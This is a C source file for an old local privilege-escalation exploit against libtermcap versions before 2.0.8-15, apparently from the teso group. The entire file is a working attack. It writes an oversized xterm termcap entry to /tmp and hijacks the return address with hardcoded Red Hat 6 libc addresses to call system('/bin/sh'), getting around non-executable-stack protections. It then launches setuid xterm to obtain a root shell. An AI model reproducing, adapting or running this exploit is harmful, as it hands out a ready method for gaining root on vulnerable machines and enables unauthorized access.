#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - https://teso.scene.at/

// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12;  // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"

int main(int argc, char **argv) {
    char *buf;
    int fd, buflen;

    argv++;

    if (argc>1) // dec,!hex args
     sys = atoi(*(argv++));
    if (argc>2)
     sh = atoi(*(argv++));
    if (argc>3)
     exi = atoi(*(argv++));
    if (argc>4)
     eip = atoi(*(argv++));

    buflen = eip + 20;

    buf = (char *) malloc(buflen);
    memset(buf, 'x', buflen);
    buf[buflen] = 0;

    memcpy(buf, entry, strlen(entry));
    memcpy (buf+buflen-4,":\\y",3);

    memcpy(buf+eip,&sys,4); 
    memcpy(buf+eip+4,&exi,4);
    memcpy(buf+eip+8,&sh,4);
    memcpy(buf+eip+12,&ran,4);

    if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
  perror("cannot create file");
  exit(EXIT_FAILURE);
    }

    write(fd,buf,buflen);
    close(fd);
    free(buf);

    setenv("TERMCAP", fil, 1);
    execl(xte, "xterm", NULL);
    exit(EXIT_SUCCESS);
}